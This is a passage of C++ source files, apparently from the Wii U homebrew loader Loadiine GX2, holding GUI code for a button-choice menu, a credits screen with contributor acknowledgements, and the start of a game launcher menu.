h, const std::string & title, const std::vector<std::string> & buttonNames, int selected)\n    : GuiFrame(w, h)\n    , buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n    , backImageData(Resources::GetImageData(\"backButton.png\"))\n    , backImage(backImageData)\n    , backButton(backImage.getWidth(), backImage.getHeight())\n    , okImageData(Resources::GetImageData(\"emptyRoundButton.png\"))\n    , okImage(okImageData)\n    , okSelectedImageData(Resources::GetImageData(\"emptyRoundButtonSelected.png\"))\n    , okSelectedImage(okSelectedImageData)\n    , okButton(okImage.getWidth(), okImage.getHeight())\n    , okText(\"O.K.\", 46, glm::vec4(0.1f, 0.1f, 0.1f, 1.0f))\n    , titleImageData(Resources::GetImageData(\"settingsTitle.png\"))\n    , titleImage(titleImageData)\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true)\n    , buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true)\n    , buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true)\n    , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true)\n    , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true)\n    , buttonImageData(Resources::GetImageData(\"choiceUncheckedSquare.png\"))\n    , buttonCheckedImageData(Resources::GetImageData(\"choiceCheckedSquare.png\"))\n    , buttonHighlightedImageData(Resources::GetImageData(\"choiceHighlightedSquare.png\"))\n    , DPADButtons(w,h)   \n{\n    selectedButton = selected;\n    selectedButtonDPAD = -1;\n\n    backButton.setImage(&backImage);\n    backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT);\n    backButton.clicked.connect(this, &ButtonChoiceMenu::OnBackButtonClick);\n    backButton.setTrigger(&touchTrigger);\n    backButton.setTrigger(&wpadTouchTrigger);\n    backButton.setSoundClick(buttonClickSound);\n    backButton.setEffectGrow();\n    append(&backButton);\n\n    okText.setPosition(10, -10);\n    okButton.setLabel(&okText);\n    okButton.setImage(&okImage);\n\tokButton.setIconOver(&okSelectedImage);\n    okButton.setAlignment(ALIGN_BOTTOM | ALIGN_RIGHT);\n    okButton.clicked.connect(this, &ButtonChoiceMenu::OnOkButtonClick);\n    okButton.setTrigger(&touchTrigger);\n    okButton.setTrigger(&wpadTouchTrigger);\n    okButton.setSoundClick(buttonClickSound);\n    okButton.setEffectGrow();\n    append(&okButton);\n\n    titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));\n    titleText.setFontSize(46);\n    titleText.setPosition(0, 10);\n    titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f));\n    titleText.setText(title.c_str());\n    append(&titleImage);\n    append(&titleText);\n\n    titleText.setParent(&titleImage);\n    titleImage.setAlignment(ALIGN_MIDDLE | ALIGN_TOP);\n\n    f32 posX;\n    f32 posY;\n    f32 imgScale = 1.0f;\n\n    buttonCount = buttonNames.size();\n\n    choiceButtons.resize(buttonCount);\n\n    for(u32 i = 0; i < buttonNames.size(); i++)\n    {      \n        choiceButtons[i].choiceButtonImg = new GuiImage(buttonImageData);\n        choiceButtons[i].choiceButtonCheckedImg = new GuiImage(buttonCheckedImageData);\n        choiceButtons[i].choiceButtonHighlightedImg = new GuiImage(buttonHighlightedImageData);\n        choiceButtons[i].choiceButton = new GuiButton(choiceButtons[i].choiceButtonImg->getWidth() * imgScale, choiceButtons[i].choiceButtonImg->getHeight() * imgScale);\n        choiceButtons[i].choiceButtonText = new GuiText(buttonNames[i].c_str(), 42, glm::vec4(0.9f, 0.9f, 0.9f, 1.0f));\n\n\n        choiceButtons[i].choiceButtonText->setMaxWidth(choiceButtons[i].choiceButtonImg->getWidth() * imgScale - 20.0f, GuiText::WRAP);\n        choiceButtons[i].choiceButtonText->setPosition(0, 10);\n\n        choiceButtons[i].choiceButtonImg->setScale(imgScale);\n        choiceButtons[i].choiceButtonCheckedImg->setScale(imgScale);\n\t\t\n\t\tchoiceButtons[i].choiceButton->setIconOver(choiceButtons[i].choiceButtonHighlightedImg);\n\t\t\n        choiceButtons[i].choiceButton->setLabel(choiceButtons[i].choiceButtonText);\n        choiceButtons[i].choiceButton->setSoundClick(buttonClickSound);\n\n        if(selectedButton == (int)i)\n            choiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonCheckedImg);\n        else\n            choiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonImg);\n\n        if(!(i & 0x01))\n        {\n            //! put last one in the middle if it is alone\n            if(i == (buttonNames.size() - 1))\n                posX = 0;\n            else\n                posX = -(buttonImageData->getWidth() * imgScale * 0.5f + 50);\n        }\n        else\n        {\n            posX = (buttonImageData->getWidth() * imgScale * 0.5f + 50);\n        }\n\n        if(buttonNames.size() < 3)\n        {\n            posY = 0.0f;\n        }\n        else if(!(i & 0x02))\n        {\n            posY = (buttonImageData->getHeight() * imgScale * 0.5f + 20.0f);\n        }\n        else\n        {\n            posY = -(buttonImageData->getHeight() * imgScale * 0.5f + 20.0f);\n        }\n\n        choiceButtons[i].choiceButton->setPosition(posX, -50.0f + posY);\n        choiceButtons[i].choiceButton->setEffectGrow();\n        choiceButtons[i].choiceButton->setTrigger(&touchTrigger);\n        choiceButtons[i].choiceButton->setTrigger(&wpadTouchTrigger);\n        choiceButtons[i].choiceButton->clicked.connect(this, &ButtonChoiceMenu::OnChoiceButtonClick);\n        append(choiceButtons[i].choiceButton);\n    }\n\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonBTrigger);\n    DPADButtons.setTrigger(&buttonUpTrigger);\n    DPADButtons.setTrigger(&buttonDownTrigger);\n    DPADButtons.setTrigger(&buttonLeftTrigger);\n    DPADButtons.setTrigger(&buttonRightTrigger);\n    DPADButtons.clicked.connect(this, &ButtonChoiceMenu::OnDPADClick);\n    append(&DPADButtons);\n\n}\n\nButtonChoiceMenu::~ButtonChoiceMenu()\n{\n    for(u32 i = 0; i < choiceButtons.size(); ++i)\n    {\n        delete choiceButtons[i].choiceButtonImg;\n        delete choiceButtons[i].choiceButtonCheckedImg;\n        delete choiceButtons[i].choiceButtonHighlightedImg;\n        delete choiceButtons[i].choiceButton;\n        delete choiceButtons[i].choiceButtonText;\n    }\n   \n    Resources::RemoveImageData(backImageData);\n    Resources::RemoveImageData(okImageData);\n    Resources::RemoveImageData(okSelectedImageData);\n    Resources::RemoveImageData(titleImageData);\n    Resources::RemoveImageData(buttonImageData);\n    Resources::RemoveImageData(buttonCheckedImageData);\n    Resources::RemoveSound(buttonClickSound);\n}\n\nvoid ButtonChoiceMenu::UpdateChoiceButtons(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(int i = 0; i < buttonCount; i++)\n    {\n\t\tif(i == selectedButtonDPAD){\n\t\t\tchoiceButtons[i].choiceButton->setState(STATE_SELECTED);\n\t\t}else{\n\t\t\tchoiceButtons[i].choiceButton->clearState(STATE_SELECTED);\n\t\t}\n\t\t\n        if(i == selectedButton){   \n\t\t\tchoiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonCheckedImg);\n        }else{\n\t\t\tchoiceButtons[i].choiceButton->setImage(choiceButtons[i].choiceButtonImg);\n        }            \n    }\n  \n    if(selectedButtonDPAD == buttonCount){ // OK\n        okButton.setState(STATE_SELECTED);\n    }else{\n        okButton.clearState(STATE_SELECTED);\n    }\n}\n\n\n\nvoid ButtonChoiceMenu::OnChoiceButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    for(u32 i = 0; i < choiceButtons.size(); i++)\n    {\n        if(choiceButtons[i].choiceButton == button)\n        {\n            selectedButton = i;\n            selectedButtonDPAD = i;\n            UpdateChoiceButtons(button,controller,trigger);\n        }\n    }\n}\n\nvoid ButtonChoiceMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif(trigger == &buttonATrigger)\n\t{\n        //! do not auto launch when wiimote is pointing to screen and presses A\n        if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n        {\n            return;\n        }\n\t\tif(selectedButtonDPAD >= 0 && selectedButtonDPAD <= buttonCount-1)\n\t\t{\n\t\t\tselectedButton = selectedButtonDPAD;\n\t\t\t\n\t\t}\n\t\telse if(selectedButtonDPAD == buttonCount || selectedButtonDPAD == -2)\n\t\t{\n\t\t\tOnOkButtonClick(button,controller,trigger);\n\t\t}            \n\t}\n\telse if(trigger == &buttonBTrigger)\n\t{\n\t\tOnBackButtonClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonUpTrigger)\n\t{\n\t\tif(buttonCount > 2){\n\t\t\tselectedButtonDPAD -= 2;\n\t\t\tif(selectedButtonDPAD < 0){\n\t\t\t\tselectedButtonDPAD = 0;\n\t\t\t}\n\t\t}\n\n\t}\n\telse if(trigger == &buttonDownTrigger){\n\t\tif(buttonCount > 2 || selectedButtonDPAD != buttonCount){\n\t\t\tselectedButtonDPAD += 2;\n\t\t\tif(selectedButtonDPAD >= buttonCount){\n\t\t\t\tselectedButtonDPAD = buttonCount-1;\n\t\t\t}\n\t\t}\n\t}\n\telse if(trigger == &buttonRightTrigger){\n\t\tselectedButtonDPAD++;\n\t\tif(selectedButtonDPAD >= buttonCount){\n\t\t\tselectedButtonDPAD = buttonCount;\n\t\t}\n\t}\n\telse if(trigger == &buttonLeftTrigger){\n\t\tselectedButtonDPAD--;\n\t\tif(selectedButtonDPAD < 0){\n\t\t\tselectedButtonDPAD = 0;\n\t\t}\n\t}\n\tUpdateChoiceButtons(button,controller,trigger);\n}\n\n"
  },
  {
    "path": "src/menu/ButtonChoiceMenu.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _BUTTON_CHOICE_MENU_H_\n#define _BUTTON_CHOICE_MENU_H_\n\n#include \"gui/Gui.h\"\n#include \"settings/SettingsDefs.h\"\n\nclass ButtonChoiceMenu : public GuiFrame, public sigslot::has_slots<>\n{\npublic:\n    ButtonChoiceMenu(int w, int h, const std::string & titleText, const std::vector<std::string> & buttonNames, int selected);\n    virtual ~ButtonChoiceMenu();\n\n    sigslot::signal2<GuiElement *, int> settingsOkClicked;\n    sigslot::signal1<GuiElement *> settingsBackClicked;\nprivate:\n    void OnChoiceButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        settingsBackClicked(this);\n    }\n\n    void OnOkButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        settingsOkClicked(this, selectedButton);\n    }\n\n    void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void UpdateChoiceButtons(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    GuiSound *buttonClickSound;\n    GuiImageData *backImageData;\n    GuiImage backImage;   \n    GuiButton backButton;\n\n    GuiImageData *okImageData;\n    GuiImage okImage;\n    GuiImageData *okSelectedImageData;\n    GuiImage okSelectedImage;\n    GuiButton okButton;\n    GuiText okText;\n\n    GuiText titleText;\n    GuiImageData *titleImageData;\n    GuiImage titleImage;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger buttonATrigger;\n    GuiTrigger buttonBTrigger;\n\n    GuiTrigger buttonUpTrigger;\n    GuiTrigger buttonDownTrigger;\n    GuiTrigger buttonLeftTrigger;\n    GuiTrigger buttonRightTrigger;\n\n    GuiImageData *buttonImageData;\n    GuiImageData *buttonCheckedImageData;\n    GuiImageData *buttonHighlightedImageData;\n\n    GuiButton DPADButtons;\n\n    typedef struct\n    {\n        GuiImage *choiceButtonImg;\n        GuiImage *choiceButtonCheckedImg;\n        GuiImage *choiceButtonHighlightedImg;\n        GuiButton *choiceButton;\n        GuiText *choiceButtonText;\n    } ChoiceButton;\n\n    std::vector<ChoiceButton> choiceButtons;\n\n    int buttonCount;\n    int selectedButton;\n    int selectedButtonDPAD;\n   \n};\n\n#endif //_BUTTON_CHOICE_MENU_H_\n"
  },
  {
    "path": "src/menu/CreditsMenu.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"CreditsMenu.h\"\n#include \"Application.h\"\n\nCreditsMenu::CreditsMenu(int w, int h, const std::string & title)\n    : GuiFrame(w, h)\n    , creditsMusic(Resources::GetSound(\"credits_music.ogg\"))\n    , buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n    , backImageData(Resources::GetImageData(\"backButton.png\"))\n    , backImage(backImageData)\n    , backButton(backImage.getWidth(), backImage.getHeight())\n    , titleImageData(Resources::GetImageData(\"settingsTitle.png\"))\n    , titleImage(titleImageData)\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n\t, buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true)\n{\n    Application::instance()->getBgMusic()->Pause();\n\n    creditsMusic->SetLoop(true);\n    creditsMusic->Play();\n    creditsMusic->SetVolume(50);\n\n    titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));\n    titleText.setFontSize(46);\n    titleText.setPosition(0, 10);\n    titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f));\n    titleText.setText(title.c_str());\n    append(&titleImage);\n    append(&titleText);\n\n    titleText.setParent(&titleImage);\n    titleImage.setAlignment(ALIGN_CENTER | ALIGN_TOP);\n\n    backButton.setImage(&backImage);\n    backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT);\n    backButton.clicked.connect(this, &CreditsMenu::OnBackButtonClick);\n    backButton.setTrigger(&touchTrigger);\n    backButton.setTrigger(&wpadTouchTrigger);\n\tbackButton.setTrigger(&buttonBTrigger);\n    backButton.setSoundClick(buttonClickSound);\n    backButton.setEffectGrow();\n    append(&backButton);\n\n    GuiText *text = NULL;\n\n    f32 positionY = 230.0f;\n    f32 positionX = 50.0f;\n    f32 positionX2 = 350.0f;\n\n    int fontSize = 40;\n    glm::vec4 textColor = glm::vec4(1.0f);\n\n    text = new GuiText(tr(\"Loadiine GX2\"), 56, textColor);\n    text->setPosition(0, positionY);\n    text->setAlignment(ALIGN_CENTER | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 100;\n\n    text = new GuiText(tr(\"Official Site:\"), fontSize, textColor);\n    text->setPosition(positionX, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n\n    text = new GuiText(\"https://gbatemp.net/threads/413823\", fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"Coding:\"), fontSize, textColor);\n    text->setPosition(positionX, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n\n    text = new GuiText(\"Dimok / dibas / Maschell / n1ghty\", fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"Design:\"), fontSize, textColor);\n    text->setPosition(positionX, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n\n    text = new GuiText(tr(\"Some guy who doesn't want to be named.\"), fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"Testing:\"), fontSize, textColor);\n    text->setPosition(positionX, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n\n    text = new GuiText(tr(\"Cyan / Maschell / n1ghty / OnionKnight and many more\"), fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"Social Presence:\"), fontSize, textColor);\n    text->setPosition(positionX, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n\n    text = new GuiText(\"Cyan\", fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"Based on:\"), fontSize, textColor);\n    text->setPosition(positionX, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n\n    text = new GuiText(tr(\"Loadiine v4.0 by Golden45 and Dimok\"), fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"Big thanks to:\"), fontSize, textColor);\n    text->setPosition(positionX, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n\n    text = new GuiText(tr(\"lustar for GameTDB and hosting covers / disc images\"), fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"Marionumber1 for his kernel exploit\"), fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n\n    text = new GuiText(tr(\"The whole libwiiu team and it's contributors.\"), fontSize, textColor);\n    text->setPosition(positionX2, positionY);\n    text->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    creditsText.push_back(text);\n    append(text);\n    positionY -= 50;\n}\n\nCreditsMenu::~CreditsMenu()\n{\n    for(u32 i = 0; i < creditsText.size(); ++i)\n    {\n        delete creditsText[i];\n    }\n    Resources::RemoveImageData(backImageData);\n    Resources::RemoveImageData(titleImageData);\n    Resources::RemoveSound(buttonClickSound);\n    Resources::RemoveSound(creditsMusic);\n    Application::instance()->getBgMusic()->Resume();\n}\n"
  },
  {
    "path": "src/menu/CreditsMenu.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _CREDITS_MENU_H_\n#define _CREDITS_MENU_H_\n\n#include \"gui/Gui.h\"\n\nclass CreditsMenu : public GuiFrame, public sigslot::has_slots<>\n{\npublic:\n    CreditsMenu(int w, int h, const std::string & titleText);\n    virtual ~CreditsMenu();\n\n    sigslot::signal1<GuiElement *> settingsBackClicked;\nprivate:\n    void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        settingsBackClicked(this);\n    }\n\n    std::vector<GuiText *> creditsText;\n\n    GuiSound *creditsMusic;\n    GuiSound *buttonClickSound;\n    GuiImageData *backImageData;\n    GuiImage backImage;\n    GuiButton backButton;\n\n    GuiText titleText;\n    GuiImageData *titleImageData;\n    GuiImage titleImage;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger buttonBTrigger;\n};\n\n#endif //_SETTINGS_WINDOW_H_\n"
  },
  {
    "path": "src/menu/GameLauncherMenu.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GameLauncherMenu.h\"\n#include \"game/GameList.h\"\n#include \"Application.h\"\n#include \"settings/SettingsGameDefs.h\"\n#include \"settings/CSettingsGame.h\"\n#include \"fs/DirList.h\"\n#include \"menu/ProgressWindow.h\"\n#include \"gui/GuiSelectBox.h\"\n#include \"menu/SettingsMenu.h\"\n#include \"gui/GuiElement.h\"\n#include \"utils/StringTools.h\"\n#include \"settings/CSettings.h\"\n\nCThread * GameLauncherMenu::pThread = NULL;\n\nGameLauncherMenu::GameLauncherMenu(int gameIdx)\n    : GuiFrame(0,0)\n    , gameIdx(gameIdx)\n    , bgImage(500, 500, (GX2Color){0, 0, 0, 255})\n    , bgBlur(1280, 720, (GX2Color){0, 0, 0, 255})\n    , noCover(Resources::GetFile(\"noCover.png\"), Resources::GetFileSize(\"noCover.png\"))\n    , buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n    , quitImageData(Resources::GetImageData(\"quitButton.png\"))\n    , quitImage(quitImageData)\n    , quitSelectedImageData(Resources::GetImageData(\"quitButtonSelected.png\"))\n    , quitSelectedImage(quitSelectedImageData)\n    , quitButton(quitImage.getWidth(), quitImage.getHeight())\n    , okImageData(Resources::GetImageData(\"emptyRoundButton.png\"))\n    , okImage(okImageData)\n    , okSelectedImageData(Resources::GetImageData(\"emptyRoundButtonSelected.png\"))\n    , okSelectedImage(okSelectedImageData)\n    , okButton(okImage.getWidth(), okImage.getHeight())\n    , okText(\"O.K.\", 46, glm::vec4(0.1f, 0.1f, 0.1f, 1.0f))\n    , titleImageData(Resources::GetImageData(\"settingsTitle.png\"))\n    , titleImage(titleImageData)\n    , extraSaveText(tr(\"Extra Save:\"), 40, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f))\n    , dlcEnableText(tr(\"Enable DLC Support:\"), 40, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f))\n    , frameImageData(Resources::GetImageData(\"gameSettingsFrame.png\"))\n    , frameImage(frameImageData)\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true)\n    , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true)\n    , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true)\n    , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true)\n    , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true)\n    , buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true)\n    , buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true)\n    , leftArrowImageData(Resources::GetImageData(\"leftArrow.png\"))\n    , rightArrowImageData(Resources::GetImageData(\"rightArrow.png\"))\n    , leftArrowImage(leftArrowImageData)\n    , rightArrowImage(rightArrowImageData)\n    , leftArrowButton(leftArrowImage.getWidth(), leftArrowImage.getHeight())\n    , rightArrowButton(rightArrowImage.getWidth(), rightArrowImage.getHeight())\n    , DPADButtons(0,0)\n    , extraSaveBox(false,90.0f,38.0f)\n    , dlcEnableBox(false,90.0f,38.0f)\n    , progresswindow(\"\")\n    , pathSelectBox(tr(\"Update Folder\"),NULL)\n    , saveModeSelectBox(tr(\"Save Mode\"),NULL)\n    , launchModeSelectBox(tr(\"Launch Mode\"),NULL)\n    , bgUsedImageDataAsync(NULL)\n    , bgNewImageDataAsync(NULL)\n    , bgFadingImageDataAsync(NULL)\n{\n    bFocusChanged = true;\n    gamelauncherelementfocus = GamelaunchermenuFocus::OK;\n\n    //Settings up the values for the selectboxes that don't change\n    savemode_size = sizeof(ValueGameSaveModes) / sizeof(ValueGameSaveModes[0]);\n\n    saveModeNames[tr(\"<Settings Default>\")] = strfmt(\"%d\", GAME_SAVES_DEFAULT);\n    for(int i = 0; i < savemode_size; i++){\n        saveModeNames[ValueGameSaveModes[i].name] = strfmt(\"%d\",ValueGameSaveModes[i].value);\n    }\n    launchmode_size = sizeof(ValueLaunchMode) / sizeof(ValueLaunchMode[0]);\n    launchModeNames[tr(\"<Settings Default>\")] = strfmt(\"%d\", LOADIINE_MODE_DEFAULT);\n    for(int i = 0; i < launchmode_size; i++){\n        launchModeNames[ValueLaunchMode[i].name] = strfmt(\"%d\",ValueLaunchMode[i].value);\n    }\n\n    progresswindow.setVisible(false);\n\n    Application::instance()->getMainWindow()->gameLauncherMenuNextClicked.connect(this,&GameLauncherMenu::OnGotHeaderFromMain);\n\n    CVideo * video = Application::instance()->getVideo();\n    width = video->getTvWidth()*windowScale;\n    height = video->getTvHeight()*windowScale;\n    gameLauncherMenuFrame = GuiFrame(width, height);\n\n    bgImage.setSize(width,height);\n    frameImage.setScale(windowScale);\n\n    bgBlur.setAlpha(0.85f);\n    append(&bgBlur);\n    append(&bgImage);\n    append(&frameImage);\n\n    titleImage.setScale(windowScale);\n    titleText.setColor(glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));\n    titleText.setFontSize(46);\n    titleText.setPosition(0, 10);\n    titleText.setBlurGlowColor(5.0f, glm::vec4(0.0, 0.0, 0.0f, 1.0f));\n    append(&titleImage);\n    append(&titleText);\n\n    titleText.setParent(&titleImage);\n    titleImage.setAlignment(ALIGN_MIDDLE | ALIGN_TOP);\n    quitButton.setImage(&quitImage);\n\tquitButton.setIconOver(&quitSelectedImage);\n    quitButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT);\n    quitButton.clicked.connect(this, &GameLauncherMenu::OnQuitButtonClick);\n    quitButton.setTrigger(&touchTrigger);\n    quitButton.setTrigger(&wpadTouchTrigger);\n    quitButton.setEffectGrow();\n    quitButton.setSoundClick(buttonClickSound);\n    quitButton.setScale(windowScale*0.8);\n    quitButton.setPosition((1.0/30.0)*width,(1.0/30.0)*width);\n    gameLauncherMenuFrame.append(&quitButton);\n\n    okText.setPosition(10, -10);\n    okButton.setLabel(&okText);\n    okButton.setImage(&okImage);\n\tokButton.setIconOver(&okSelectedImage);\n    okButton.setAlignment(ALIGN_BOTTOM | ALIGN_RIGHT);\n    okButton.clicked.connect(this, &GameLauncherMenu::OnOKButtonClick);\n    okButton.setTrigger(&touchTrigger);\n    okButton.setTrigger(&wpadTouchTrigger);\n    okButton.setSoundClick(buttonClickSound);\n    okButton.setEffectGrow();\n    okButton.setScale(windowScale*0.8);\n    okButton.setPosition(-(1.0/30.0)*width,(1.0/30.0)*width);\n    gameLauncherMenuFrame.append(&okButton);\n\n    